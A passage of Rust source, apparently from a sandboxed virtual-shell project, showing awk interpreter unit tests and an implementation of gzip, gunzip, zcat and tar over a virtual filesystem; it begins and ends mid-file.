world\\n\");\n    }\n\n    #[test]\n    fn custom_field_separator() {\n        let tokens = Lexer::new(\"{print $1}\").tokenize().unwrap();\n        let ast = Parser::new(tokens).parse().unwrap();\n        let mut runtime = AwkRuntime::new();\n        runtime.set_var(\"FS\", \":\");\n        let inputs = vec![(\"\".to_string(), \"root:x:0:0\\n\".to_string())];\n        let (_, stdout, _) = runtime.execute(&ast, &inputs);\n        assert_eq!(stdout, \"root\\n\");\n    }\n\n    #[test]\n    fn field_assignment_rebuilds_record() {\n        assert_eq!(run_awk(\"{$2 = \\\"X\\\"; print $0}\", \"a b c\\n\"), \"a X c\\n\");\n    }\n\n    #[test]\n    fn regex_pattern() {\n        assert_eq!(\n            run_awk(\"/error/ {print}\", \"info: ok\\nerror: fail\\ninfo: done\\n\"),\n            \"error: fail\\n\"\n        );\n    }\n\n    #[test]\n    fn begin_end_sum() {\n        assert_eq!(\n            run_awk(\"BEGIN{sum=0} {sum+=$1} END{print sum}\", \"10\\n20\\n30\\n\"),\n            \"60\\n\"\n        );\n    }\n\n    #[test]\n    fn variable_flag() {\n        let tokens = Lexer::new(\"$1 > threshold\").tokenize().unwrap();\n        let ast = Parser::new(tokens).parse().unwrap();\n        let mut runtime = AwkRuntime::new();\n        runtime.set_var(\"threshold\", \"10\");\n        let inputs = vec![(\"\".to_string(), \"5\\n15\\n8\\n20\\n\".to_string())];\n        let (_, stdout, _) = runtime.execute(&ast, &inputs);\n        assert_eq!(stdout, \"15\\n20\\n\");\n    }\n\n    #[test]\n    fn uninitialized_variables() {\n        assert_eq!(run_awk(\"{print x+0, x}\", \"line\\n\"), \"0 \\n\");\n    }\n\n    #[test]\n    fn arithmetic_in_output() {\n        assert_eq!(run_awk(\"{print $1, $1*2}\", \"5\\n10\\n\"), \"5 10\\n10 20\\n\");\n    }\n\n    #[test]\n    fn if_else_statement() {\n        assert_eq!(\n            run_awk(\n                \"{if ($1 > 10) print \\\"big\\\"; else print \\\"small\\\"}\",\n                \"5\\n15\\n\"\n            ),\n            \"small\\nbig\\n\"\n        );\n    }\n\n    #[test]\n    fn printf_formatting() {\n        assert_eq!(\n            run_awk(\"{printf \\\"%-10s %5d\\\\n\\\", $1, $2}\", \"hello 42\\n\"),\n            \"hello         42\\n\"\n        );\n    }\n\n    #[test]\n    fn array_word_count() {\n        let output = run_awk(\n            \"{count[$1]++} END{for(k in count) print k, count[k]}\",\n            \"a\\nb\\na\\nc\\nb\\na\\n\",\n        );\n        // Order may vary; check all entries exist\n        assert!(output.contains(\"a 3\"));\n        assert!(output.contains(\"b 2\"));\n        assert!(output.contains(\"c 1\"));\n    }\n\n    #[test]\n    fn toupper_function() {\n        assert_eq!(run_awk(\"{print toupper($0)}\", \"hello\\n\"), \"HELLO\\n\");\n    }\n\n    #[test]\n    fn split_function() {\n        assert_eq!(\n            run_awk(\n                \"{n=split($0, a, \\\":\\\"); for(i=1;i<=n;i++) print a[i]}\",\n                \"a:b:c\\n\"\n            ),\n            \"a\\nb\\nc\\n\"\n        );\n    }\n\n    #[test]\n    fn sub_function() {\n        assert_eq!(\n            run_awk(\"{sub(/world/, \\\"earth\\\"); print}\", \"hello world\\n\"),\n            \"hello earth\\n\"\n        );\n    }\n\n    #[test]\n    fn gsub_function() {\n        assert_eq!(run_awk(\"{gsub(/o/, \\\"0\\\"); print}\", \"foobar\\n\"), \"f00bar\\n\");\n    }\n\n    #[test]\n    fn no_action_implicit_print() {\n        assert_eq!(\n            run_awk(\"/hello/\", \"hello world\\ngoodbye\\nhello again\\n\"),\n            \"hello world\\nhello again\\n\"\n        );\n    }\n\n    #[test]\n    fn empty_input() {\n        assert_eq!(run_awk(\"{print}\", \"\"), \"\");\n    }\n\n    #[test]\n    fn nr_and_nf() {\n        assert_eq!(run_awk(\"{print NR, NF}\", \"a b c\\nx y\\n\"), \"1 3\\n2 2\\n\");\n    }\n\n    #[test]\n    fn ternary_expression() {\n        assert_eq!(\n            run_awk(\"{print ($1 > 0) ? \\\"pos\\\" : \\\"neg\\\"}\", \"5\\n-3\\n\"),\n            \"pos\\nneg\\n\"\n        );\n    }\n\n    #[test]\n    fn delete_array_element() {\n        let output = run_awk(\n            \"{a[$1]=1} END{delete a[\\\"b\\\"]; for(k in a) print k}\",\n            \"a\\nb\\nc\\n\",\n        );\n        assert!(output.contains('a'));\n        assert!(output.contains('c'));\n        assert!(!output.contains('b'));\n    }\n\n    #[test]\n    fn while_loop() {\n        assert_eq!(\n            run_awk(\n                \"BEGIN{i=1; while(i<=5){printf \\\"%d \\\",i; i++}; print \\\"\\\"}\",\n                \"\"\n            ),\n            \"1 2 3 4 5 \\n\"\n        );\n    }\n\n    #[test]\n    fn for_loop() {\n        assert_eq!(\n            run_awk(\"BEGIN{for(i=1;i<=3;i++) printf \\\"%d \\\",i; print \\\"\\\"}\", \"\"),\n            \"1 2 3 \\n\"\n        );\n    }\n\n    #[test]\n    fn next_statement() {\n        assert_eq!(\n            run_awk(\n                \"{if ($1 == \\\"skip\\\") next; print}\",\n                \"keep\\nskip\\nalso keep\\n\"\n            ),\n            \"keep\\nalso keep\\n\"\n        );\n    }\n\n    #[test]\n    fn exit_statement() {\n        let (code, stdout, _) = run_awk_full(\"{ if (NR==2) exit 42; print }\", \"a\\nb\\nc\\n\");\n        assert_eq!(stdout, \"a\\n\");\n        assert_eq!(code, 42);\n    }\n\n    #[test]\n    fn range_pattern() {\n        assert_eq!(\n            run_awk(\n                \"/start/,/end/ {print}\",\n                \"before\\nstart here\\nmiddle\\nend here\\nafter\\n\"\n            ),\n            \"start here\\nmiddle\\nend here\\n\"\n        );\n    }\n\n    #[test]\n    fn multi_file_fnr_nr() {\n        let tokens = Lexer::new(\"{print FILENAME, FNR, NR}\").tokenize().unwrap();\n        let ast = Parser::new(tokens).parse().unwrap();\n        let mut runtime = AwkRuntime::new();\n        let inputs = vec![\n            (\"file1\".to_string(), \"a\\nb\\n\".to_string()),\n            (\"file2\".to_string(), \"c\\n\".to_string()),\n        ];\n        let (_, stdout, _) = runtime.execute(&ast, &inputs);\n        assert_eq!(stdout, \"file1 1 1\\nfile1 2 2\\nfile2 1 3\\n\");\n    }\n\n    #[test]\n    fn empty_fs_splits_chars() {\n        let tokens = Lexer::new(\"{print $1, $2, $3}\").tokenize().unwrap();\n        let ast = Parser::new(tokens).parse().unwrap();\n        let mut runtime = AwkRuntime::new();\n        runtime.set_var(\"FS\", \"\");\n        let inputs = vec![(\"\".to_string(), \"abc\\n\".to_string())];\n        let (_, stdout, _) = runtime.execute(&ast, &inputs);\n        assert_eq!(stdout, \"a b c\\n\");\n    }\n\n    #[test]\n    fn match_function() {\n        assert_eq!(\n            run_awk(\n                \"{if (match($0, /[0-9]+/)) print RSTART, RLENGTH}\",\n                \"abc123def\\n\"\n            ),\n            \"4 3\\n\"\n        );\n    }\n\n    #[test]\n    fn index_function() {\n        assert_eq!(\n            run_awk(\"{print index($0, \\\"world\\\")}\", \"hello world\\n\"),\n            \"7\\n\"\n        );\n    }\n\n    #[test]\n    fn substr_function() {\n        assert_eq!(run_awk(\"{print substr($0, 7)}\", \"hello world\\n\"), \"world\\n\");\n    }\n\n    #[test]\n    fn sprintf_function() {\n        assert_eq!(run_awk(\"{print sprintf(\\\"%05d\\\", $1)}\", \"42\\n\"), \"00042\\n\");\n    }\n\n    #[test]\n    fn in_array_test() {\n        assert_eq!(\n            run_awk(\"{a[$1]=1} END{print (\\\"x\\\" in a), (\\\"z\\\" in a)}\", \"x\\ny\\n\"),\n            \"1 0\\n\"\n        );\n    }\n\n    #[test]\n    fn assignment_operators() {\n        assert_eq!(run_awk(\"BEGIN{x=10; x+=5; x-=3; print x}\", \"\"), \"12\\n\");\n    }\n\n    #[test]\n    fn do_while_loop() {\n        assert_eq!(\n            run_awk(\n                \"BEGIN{i=1; do { printf \\\"%d \\\", i; i++ } while(i<=3); print \\\"\\\"}\",\n                \"\"\n            ),\n            \"1 2 3 \\n\"\n        );\n    }\n\n    #[test]\n    fn string_comparison() {\n        assert_eq!(\n            run_awk(\"{if ($1 == \\\"hello\\\") print \\\"match\\\"}\", \"hello\\nworld\\n\"),\n            \"match\\n\"\n        );\n    }\n\n    #[test]\n    fn regex_match_operator() {\n        assert_eq!(\n            run_awk(\"{if ($0 ~ /^[0-9]/) print}\", \"123\\nabc\\n456\\n\"),\n            \"123\\n456\\n\"\n        );\n    }\n\n    #[test]\n    fn regex_not_match_operator() {\n        assert_eq!(\n            run_awk(\"{if ($0 !~ /^[0-9]/) print}\", \"123\\nabc\\n456\\n\"),\n            \"abc\\n\"\n        );\n    }\n\n    #[test]\n    fn power_operator() {\n        assert_eq!(run_awk(\"BEGIN{print 2^10}\", \"\"), \"1024\\n\");\n    }\n\n    #[test]\n    fn int_function() {\n        assert_eq!(run_awk(\"BEGIN{print int(3.9)}\", \"\"), \"3\\n\");\n    }\n\n    #[test]\n    fn length_of_array() {\n        assert_eq!(\n            run_awk(\"{a[$1]=1} END{print length(a)}\", \"x\\ny\\nz\\n\"),\n            \"3\\n\"\n        );\n    }\n\n    #[test]\n    fn break_in_loop() {\n        assert_eq!(\n            run_awk(\n                \"BEGIN{for(i=1;i<=10;i++){if(i==4) break; printf \\\"%d \\\",i}; print \\\"\\\"}\",\n                \"\"\n            ),\n            \"1 2 3 \\n\"\n        );\n    }\n\n    #[test]\n    fn continue_in_loop() {\n        assert_eq!(\n            run_awk(\n                \"BEGIN{for(i=1;i<=5;i++){if(i==3) continue; printf \\\"%d \\\",i}; print \\\"\\\"}\",\n                \"\"\n            ),\n            \"1 2 4 5 \\n\"\n        );\n    }\n\n    #[test]\n    fn multi_dim_array_subsep() {\n        let output = run_awk(\n            \"BEGIN{a[1,2]=\\\"x\\\"; a[3,4]=\\\"y\\\"; for(k in a) print k, a[k]}\",\n            \"\",\n        );\n        assert!(output.contains(\"1\\x1c2 x\"));\n        assert!(output.contains(\"3\\x1c4 y\"));\n    }\n\n    #[test]\n    fn implicit_concatenation() {\n        assert_eq!(\n            run_awk(\"BEGIN{x = \\\"hello\\\" \\\" \\\" \\\"world\\\"; print x}\", \"\"),\n            \"hello world\\n\"\n        );\n    }\n\n    #[test]\n    fn print_with_ofs() {\n        let tokens = Lexer::new(\"{print $1, $2}\").tokenize().unwrap();\n        let ast = Parser::new(tokens).parse().unwrap();\n        let mut runtime = AwkRuntime::new();\n        runtime.set_var(\"OFS\", \"-\");\n        let inputs = vec![(\"\".to_string(), \"a b\\n\".to_string())];\n        let (_, stdout, _) = runtime.execute(&ast, &inputs);\n        assert_eq!(stdout, \"a-b\\n\");\n    }\n\n    #[test]\n    fn logical_operators() {\n        assert_eq!(run_awk(\"{print ($1 > 0 && $1 < 10)}\", \"5\\n15\\n\"), \"1\\n0\\n\");\n    }\n\n    #[test]\n    fn unary_not() {\n        assert_eq!(run_awk(\"{print !($1 > 10)}\", \"5\\n15\\n\"), \"1\\n0\\n\");\n    }\n\n    #[test]\n    fn modulo_operator() {\n        assert_eq!(run_awk(\"{print $1 % 3}\", \"10\\n7\\n\"), \"1\\n1\\n\");\n    }\n\n    #[test]\n    fn delete_entire_array() {\n        assert_eq!(\n            run_awk(\"{a[$1]=1} END{delete a; print length(a)}\", \"x\\ny\\n\"),\n            \"0\\n\"\n        );\n    }\n\n    #[test]\n    fn tolower_function() {\n        assert_eq!(run_awk(\"{print tolower($0)}\", \"HELLO\\n\"), \"hello\\n\");\n    }\n\n    #[test]\n    fn single_field_record() {\n        assert_eq!(run_awk(\"{print $1, NF}\", \"hello\\n\"), \"hello 1\\n\");\n    }\n\n    #[test]\n    fn expression_pattern() {\n        assert_eq!(\n            run_awk(\"NR > 1 {print}\", \"skip\\nkeep1\\nkeep2\\n\"),\n            \"keep1\\nkeep2\\n\"\n        );\n    }\n}\n","/home/user/src/commands/compression.rs":"//! Compression and archiving commands: gzip, gunzip, zcat, tar\n\nuse super::{CommandMeta, FlagInfo, FlagStatus};\nuse crate::commands::{CommandContext, CommandResult};\nuse flate2::Compression;\nuse flate2::read::{GzDecoder, GzEncoder};\nuse std::io::Read;\nuse std::path::{Path, PathBuf};\n\nfn resolve_path(path_str: &str, cwd: &str) -> PathBuf {\n    if path_str.starts_with('/') {\n        PathBuf::from(path_str)\n    } else {\n        PathBuf::from(cwd).join(path_str)\n    }\n}\n\n/// Normalize a path by resolving `.` and `..` components without filesystem access.\nfn normalize_path(path: &Path) -> PathBuf {\n    let mut components = Vec::new();\n    for comp in path.components() {\n        match comp {\n            std::path::Component::RootDir => {\n                components.clear();\n                components.push(\"/\".to_string());\n            }\n            std::path::Component::CurDir => {}\n            std::path::Component::ParentDir => {\n                if components.len() > 1 {\n                    components.pop();\n                }\n            }\n            std::path::Component::Normal(s) => {\n                components.push(s.to_string_lossy().to_string());\n            }\n            _ => {}\n        }\n    }\n    if components.len() == 1 && components[0] == \"/\" {\n        return PathBuf::from(\"/\");\n    }\n    let mut result = String::new();\n    for (i, c) in components.iter().enumerate() {\n        if i == 0 && c == \"/\" {\n            result.push('/');\n        } else if i == 1 && components[0] == \"/\" {\n            result.push_str(c);\n        } else {\n            result.push('/');\n            result.push_str(c);\n        }\n    }\n    PathBuf::from(result)\n}\n\n/// Convert SystemTime to seconds since UNIX epoch for tar headers.\nfn system_time_to_secs(t: crate::platform::SystemTime) -> u64 {\n    t.duration_since(crate::platform::UNIX_EPOCH)\n        .map(|d| d.as_secs())\n        .unwrap_or(0)\n}\n\n// ── gzip ─────────────────────────────────────────────────────────────\n\npub struct GzipCommand;\n\nstatic GZIP_META: CommandMeta = CommandMeta {\n    name: \"gzip\",\n    synopsis: \"gzip [-dcfk] [-1...-9] [FILE...]\",\n    description: \"Compress or decompress files using gzip format.\",\n    options: &[\n        (\"-d\", \"decompress (same as gunzip)\"),\n        (\"-c\", \"write to stdout, keep original files\"),\n        (\"-f\", \"force overwrite of output files\"),\n        (\"-k\", \"keep original files\"),\n        (\"-1...-9\", \"compression level (1=fast, 9=best)\"),\n    ],\n    supports_help_flag: true,\n    flags: &[\n        FlagInfo {\n            flag: \"-d\",\n            description: \"decompress\",\n            status: FlagStatus::Supported,\n        },\n        FlagInfo {\n            flag: \"-c\",\n            description: \"write to stdout\",\n            status: FlagStatus::Supported,\n        },\n        FlagInfo {\n            flag: \"-f\",\n            description: \"force overwrite\",\n            status: FlagStatus::Supported,\n        },\n        FlagInfo {\n            flag: \"-k\",\n            description: \"keep original files\",\n            status: FlagStatus::Supported,\n        },\n    ],\n};\n\nimpl super::VirtualCommand for GzipCommand {\n    fn name(&self) -> &str {\n        \"gzip\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&GZIP_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        gzip_execute(args, ctx, false, false)\n    }\n}\n\n/// Shared implementation for gzip/gunzip/zcat.\nfn gzip_execute(\n    args: &[String],\n    ctx: &CommandContext,\n    force_decompress: bool,\n    force_stdout: bool,\n) -> CommandResult {\n    let mut decompress = force_decompress;\n    let mut to_stdout = force_stdout;\n    let mut keep = false;\n    let mut force = false;\n    let mut level: u32 = 6; // default compression level\n    let mut files: Vec<&str> = Vec::new();\n    let mut opts_done = false;\n\n    for arg in args {\n        if !opts_done && arg == \"--\" {\n            opts_done = true;\n            continue;\n        }\n        if !opts_done && arg.starts_with('-') && arg.len() > 1 && !arg.starts_with(\"--\") {\n            for c in arg[1..].chars() {\n                match c {\n                    'd' => decompress = true,\n                    'c' => to_stdout = true,\n                    'f' => force = true,\n                    'k' => keep = true,\n                    '1'..='9' => level = c.to_digit(10).unwrap(),\n                    _ => {\n                        return CommandResult {\n                            stderr: format!(\"gzip: invalid option -- '{}'\\n\", c),\n                            exit_code: 1,\n                            ..Default::default()\n                        };\n                    }\n                }\n            }\n        } else {\n            files.push(arg);\n        }\n    }\n\n    // No files: process stdin\n    if files.is_empty() {\n        return if decompress {\n            gzip_decompress_stdin(ctx, to_stdout)\n        } else {\n            gzip_compress_stdin(ctx, level)\n        };\n    }\n\n    // Process files\n    let mut stderr = String::new();\n    let mut stdout = String::new();\n    let mut stdout_bytes: Option<Vec<u8>> = None;\n    let mut exit_code = 0;\n\n    for file in &files {\n        let result = if decompress {\n            gzip_decompress_file(file, ctx, to_stdout, keep, force)\n        } else {\n            gzip_compress_file(file, ctx, to_stdout, keep, force, level)\n        };\n        match result {\n            Ok((out, bytes_out)) => {\n                if to_stdout {\n                    if let Some(bytes) = bytes_out {\n                        // Accumulate binary output\n                        stdout_bytes\n                            .get_or_insert_with(Vec::new)\n                            .extend_from_slice(&bytes);\n                    }\n                    stdout.push_str(&out);\n                }\n            }\n            Err(msg) => {\n                stderr.push_str(&msg);\n                exit_code = 1;\n            }\n        }\n    }\n\n    CommandResult {\n        stdout,\n        stderr,\n        exit_code,\n        stdout_bytes,\n    }\n}\n\n/// Compress stdin data and output as binary bytes.\nfn gzip_compress_stdin(ctx: &CommandContext, level: u32) -> CommandResult {\n    let input = if let Some(bytes) = ctx.stdin_bytes {\n        bytes.to_vec()\n    } else {\n        ctx.stdin.as_bytes().to_vec()\n    };\n\n    let mut encoder = GzEncoder::new(&input[..], Compression::new(level));\n    let mut compressed = Vec::new();\n    if let Err(e) = encoder.read_to_end(&mut compressed) {\n        return CommandResult {\n            stderr: format!(\"gzip: {}\\n\", e),\n            exit_code: 1,\n            ..Default::default()\n        };\n    }\n\n    CommandResult {\n        stdout: String::new(),\n        stderr: String::new(),\n        exit_code: 0,\n        stdout_bytes: Some(compressed),\n    }\n}\n\n/// Decompress gzip stdin data and output as text.\nfn gzip_decompress_stdin(ctx: &CommandContext, _to_stdout: bool) -> CommandResult {\n    let input = if let Some(bytes) = ctx.stdin_bytes {\n        bytes.to_vec()\n    } else {\n        ctx.stdin.as_bytes().to_vec()\n    };\n\n    let mut decoder = GzDecoder::new(&input[..]);\n    // TODO: Add decompression size limit to guard against gzip bombs\n    let mut decompressed = Vec::new();\n    if let Err(e) = decoder.read_to_end(&mut decompressed) {\n        return CommandResult {\n            stderr: format!(\"gzip: {}\\n\", e),\n            exit_code: 1,\n            ..Default::default()\n        };\n    }\n\n    CommandResult {\n        stdout: String::new(),\n        stderr: String::new(),\n        exit_code: 0,\n        stdout_bytes: Some(decompressed),\n    }\n}\n\n/// Compress a file to .gz in VirtualFs.\nfn gzip_compress_file(\n    file: &str,\n    ctx: &CommandContext,\n    to_stdout: bool,\n    keep: bool,\n    force: bool,\n    level: u32,\n) -> Result<(String, Option<Vec<u8>>), String> {\n    let path = resolve_path(file, ctx.cwd);\n    let gz_path_str = format!(\"{}.gz\", path.display());\n    let gz_path = Path::new(&gz_path_str);\n\n    // Read source file\n    let data = ctx\n        .fs\n        .read_file(&path)\n        .map_err(|e| format!(\"gzip: {}: {}\\n\", file, e))?;\n\n    // Compress\n    let mut encoder = GzEncoder::new(&data[..], Compression::new(level));\n    let mut compressed = Vec::new();\n    encoder\n        .read_to_end(&mut compressed)\n        .map_err(|e| format!(\"gzip: {}: {}\\n\", file, e))?;\n\n    if to_stdout {\n        return Ok((String::new(), Some(compressed)));\n    }\n\n    // Check if output exists\n    if !force && ctx.fs.exists(gz_path) {\n        return Err(format!(\n            \"gzip: {}: already exists; not overwriting\\n\",\n            gz_path_str\n        ));\n    }\n\n    // Write compressed file\n    ctx.fs\n        .write_file(gz_path, &compressed)\n        .map_err(|e| format!(\"gzip: {}: {}\\n\", gz_path_str, e))?;\n\n    // Remove original unless -k\n    if !keep {\n        ctx.fs\n            .remove_file(&path)\n            .map_err(|e| format!(\"gzip: {}: {}\\n\", file, e))?;\n    }\n\n    Ok((String::new(), None))\n}\n\n/// Decompress a .gz file in VirtualFs.\nfn gzip_decompress_file(\n    file: &str,\n    ctx: &CommandContext,\n    to_stdout: bool,\n    keep: bool,\n    force: bool,\n) -> Result<(String, Option<Vec<u8>>), String> {\n    let path = resolve_path(file, ctx.cwd);\n\n    // Read compressed file\n    let data = ctx\n        .fs\n        .read_file(&path)\n        .map_err(|e| format!(\"gzip: {}: {}\\n\", file, e))?;\n\n    // Decompress\n    let mut decoder = GzDecoder::new(&data[..]);\n    let mut decompressed = Vec::new();\n    decoder\n        .read_to_end(&mut decompressed)\n        .map_err(|e| format!(\"gzip: {}: {}\\n\", file, e))?;\n\n    if to_stdout {\n        return Ok((String::new(), Some(decompressed)));\n    }\n\n    // Determine output path: strip .gz suffix\n    let out_path_str = if let Some(stripped) = path.to_str().and_then(|s| s.strip_suffix(\".gz\")) {\n        stripped.to_string()\n    } else if let Some(stripped) = path.to_str().and_then(|s| s.strip_suffix(\".tgz\")) {\n        format!(\"{}.tar\", stripped)\n    } else {\n        return Err(format!(\"gzip: {}: unknown suffix -- ignored\\n\", file));\n    };\n    let out_path = PathBuf::from(&out_path_str);\n\n    // Check if output exists\n    if !force && ctx.fs.exists(&out_path) {\n        return Err(format!(\n            \"gzip: {}: already exists; not overwriting\\n\",\n            out_path_str\n        ));\n    }\n\n    // Write decompressed file\n    ctx.fs\n        .write_file(&out_path, &decompressed)\n        .map_err(|e| format!(\"gzip: {}: {}\\n\", out_path_str, e))?;\n\n    // Remove original unless -k\n    if !keep {\n        ctx.fs\n            .remove_file(&path)\n            .map_err(|e| format!(\"gzip: {}: {}\\n\", file, e))?;\n    }\n\n    Ok((String::new(), None))\n}\n\n// ── gunzip ───────────────────────────────────────────────────────────\n\npub struct GunzipCommand;\n\nstatic GUNZIP_META: CommandMeta = CommandMeta {\n    name: \"gunzip\",\n    synopsis: \"gunzip [-cfk] [FILE...]\",\n    description: \"Decompress gzip files.\",\n    options: &[\n        (\"-c\", \"write to stdout, keep original files\"),\n        (\"-f\", \"force overwrite of output files\"),\n        (\"-k\", \"keep .gz files\"),\n    ],\n    supports_help_flag: true,\n    flags: &[\n        FlagInfo {\n            flag: \"-c\",\n            description: \"write to stdout\",\n            status: FlagStatus::Supported,\n        },\n        FlagInfo {\n            flag: \"-f\",\n            description: \"force overwrite\",\n            status: FlagStatus::Supported,\n        },\n        FlagInfo {\n            flag: \"-k\",\n            description: \"keep .gz files\",\n            status: FlagStatus::Supported,\n        },\n    ],\n};\n\nimpl super::VirtualCommand for GunzipCommand {\n    fn name(&self) -> &str {\n        \"gunzip\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&GUNZIP_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        gzip_execute(args, ctx, true, false)\n    }\n}\n\n// ── zcat ─────────────────────────────────────────────────────────────\n\npub struct ZcatCommand;\n\nstatic ZCAT_META: CommandMeta = CommandMeta {\n    name: \"zcat\",\n    synopsis: \"zcat [FILE...]\",\n    description: \"Decompress and write gzip files to stdout.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for ZcatCommand {\n    fn name(&self) -> &str {\n        \"zcat\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&ZCAT_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        gzip_execute(args, ctx, true, true)\n    }\n}\n\n// ── tar ──────────────────────────────────────────────────────────────\n\npub struct TarCommand;\n\nstatic TAR_META: CommandMeta = CommandMeta {\n    name: \"tar\",\n    synopsis: \"tar [cxtf] [-z] [-v] [-C DIR] -f ARCHIVE [FILE...]\",\n    description: \"Create, extract, or list tar archives.\",\n    options: &[\n        (\"c\", \"create a new archive\"),\n        (\"x\", \"extract files from archive\"),\n        (\"t\", \"list contents of archive\"),\n        (\"-f ARCHIVE\", \"use archive file (- for stdin/stdout)\"),\n        (\"-z\", \"filter through gzip\"),\n        (\"-v\", \"verbose output\"),\n        (\"-C DIR\", \"change to DIR before operation\"),\n    ],\n    supports_help_flag: true,\n    flags: &[\n        FlagInfo {\n            flag: \"-c\",\n            description: \"create archive\",\n            status: FlagStatus::Supported,\n        },\n        FlagInfo {\n            flag: \"-x\",\n            description: \"extract archive\",\n            status: FlagStatus::Supported,\n        },\n        FlagInfo {\n            flag: \"-t\",\n            description: \"list contents\",\n            status: FlagStatus::Supported,\n        },\n        FlagInfo {\n            flag: \"-f\",\n            description: \"archive file\",\n            status: FlagStatus::Supported,\n        },\n        FlagInfo {\n            flag: \"-z\",\n            description: \"filter through gzip\",\n            status: FlagStatus::Supported,\n        },\n        FlagInfo {\n            flag: \"-v\",\n            description: \"verbose output\",\n            status: FlagStatus::Supported,\n        },\n        FlagInfo {\n            flag: \"-C\",\n            description: \"change directory\",\n            status: FlagStatus::Supported,\n        },\n    ],\n};\n\n#[derive(PartialEq)]\nenum TarMode {\n    None,\n    Create,\n    Extract,\n    List,\n}\n\nimpl super::VirtualCommand for TarCommand {\n    fn name(&self) -> &str {\n        \"tar\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&TAR_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut mode = TarMode::None;\n        let mut gzip = false;\n        let mut verbose = false;\n        let mut archive_file: Option<String> = None;\n        let mut change_dir: Option<String> = None;\n        let mut files: Vec<String> = Vec::new();\n\n        // Parse args: tar supports both bundled flags (czvf) and separate flags (-c -z -v -f)\n        let mut i = 0;\n        let mut first_arg_parsed = false;\n        while i < args.len() {\n            let arg = &args[i];\n\n            // First non-flag argument or argument starting with - is parsed as flags\n            if !first_arg_parsed\n                && !arg.starts_with('-')\n                && arg.chars().all(|c| \"cxtfzvC\".contains(c))\n            {\n                // Bundled flags without leading dash (e.g., \"czvf\")\n                first_arg_parsed = true;\n                let mut chars = arg.chars().peekable();\n                while let Some(c) = chars.next() {\n                    match c {\n                        'c' => mode = TarMode::Create,\n                        'x' => mode = TarMode::Extract,\n                        't' => mode = TarMode::List,\n                        'z' => gzip = true,\n                        'v' => verbose = true,\n                        'f' => {\n                            // If more chars follow, they're part of the filename\n                            if chars.peek().is_some() {\n                                let rest: String = chars.collect();\n                                archive_file = Some(rest);\n                                break;\n                            }\n                            // Otherwise next arg is the filename\n                            i += 1;\n                            if i < args.len() {\n                                archive_file = Some(args[i].clone());\n                            } else {\n                                return CommandResult {\n                                    stderr: \"tar: option requires an argument -- 'f'\\n\".to_string(),\n                                    exit_code: 2,\n                                    ..Default::default()\n                                };\n                            }\n                        }\n                        'C' => {\n                            i += 1;\n                            if i < args.len() {\n                                change_dir = Some(args[i].clone());\n                            } else {\n                                return CommandResult {\n                                    stderr: \"tar: option requires an argument -- 'C'\\n\".to_string(),\n                                    exit_code: 2,\n                                    ..Default::default()\n                                };\n                            }\n                        }\n                        _ => {\n                            return CommandResult {\n                                stderr: format!(\"tar: unknown option -- '{}'\\n\", c),\n                                exit_code: 2,\n                                ..Default::default()\n                            };\n                        }\n                    }\n                }\n                i += 1;\n                continue;\n            }\n\n            if arg.starts_with('-') && arg.len() > 1 && !arg.starts_with(\"--\") {\n                first_arg_parsed = true;\n                let mut chars = arg[1..].chars().peekable();\n                while let Some(c) = chars.next() {\n                    match c {\n                        'c' => mode = TarMode::Create,\n                        'x' => mode = TarMode::Extract,\n                        't' => mode = TarMode::List,\n                        'z' => gzip = true,\n                        'v' => verbose = true,\n                        'f' => {\n                            if chars.peek().is_some() {\n                                let rest: String = chars.collect();\n                                archive_file = Some(rest);\n                                break;\n                            }\n                            i += 1;\n                            if i < args.len() {\n                                archive_file = Some(args[i].clone());\n                            } else {\n                                return CommandResult {\n                                    stderr: \"tar: option requires an argument -- 'f'\\n\".to_string(),\n                                    exit_code: 2,\n                                    ..Default::default()\n                                };\n                            }\n                        }\n                        'C' => {\n                            i += 1;\n                            if i < args.len() {\n                                change_dir = Some(args[i].clone());\n                            } else {\n                                return CommandResult {\n                                    stderr: \"tar: option requires an argument -- 'C'\\n\".to_string(),\n                                    exit_code: 2,\n                                    ..Default::default()\n                                };\n                            }\n                        }\n                        _ => {\n                            return CommandResult {\n                                stderr: format!(\"tar: unknown option -- '{}'\\n\", c),\n                                exit_code: 2,\n                                ..Default::default()\n                            };\n                        }\n                    }\n                }\n                i += 1;\n                continue;\n            }\n\n            first_arg_parsed = true;\n            files.push(arg.clone());\n            i += 1;\n        }\n\n        if mode == TarMode::None {\n            return CommandResult {\n                stderr: \"tar: You must specify one of the '-c', '-x', or '-t' options\\n\"\n                    .to_string(),\n                exit_code: 2,\n                ..Default::default()\n            };\n        }\n\n        let effective_cwd = if let Some(ref dir) = change_dir {\n            let p = resolve_path(dir, ctx.cwd);\n            p.to_string_lossy().to_string()\n        } else {\n            ctx.cwd.to_string()\n        };\n\n        match mode {\n            TarMode::Create => tar_create(\n                ctx,\n                &effective_cwd,\n                archive_file.as_deref(),\n                &files,\n                gzip,\n                verbose,\n            ),\n            TarMode::Extract => {\n                tar_extract(ctx, &effective_cwd, archive_file.as_deref(), gzip, verbose)\n            }\n            TarMode::List => tar_list(ctx, &effective_cwd, archive_file.as_deref(), gzip, verbose),\n            TarMode::None => unreachable!(),\n        }\n    }\n}\n\n/// Recursively collect all files under a directory in VirtualFs.\nfn collect_files_recursive(\n    fs: &dyn crate::vfs::VirtualFs,\n    base: &Path,\n    prefix: &Path,\n) -> Result<Vec<(PathBuf, Vec<u8>)>, String> {\n    let mut result = Vec::new();\n    let entries = fs\n        .readdir(base)\n        .map_err(|e| format!(\"tar: {}: {}\\n\", base.display(), e))?;\n\n    for entry in entries {\n        let full_path = base.join(&entry.name);\n        let archive_path = prefix.join(&entry.name);\n\n        match entry.node_type {\n            crate::vfs::NodeType::File => {\n                let data = fs\n                    .read_file(&full_path)\n                    .map_err(|e| format!(\"tar: {}: {}\\n\", full_path.display(), e))?;\n                result.push((archive_path, data));\n            }\n            crate::vfs::NodeType::Directory => {\n                // Emit directory 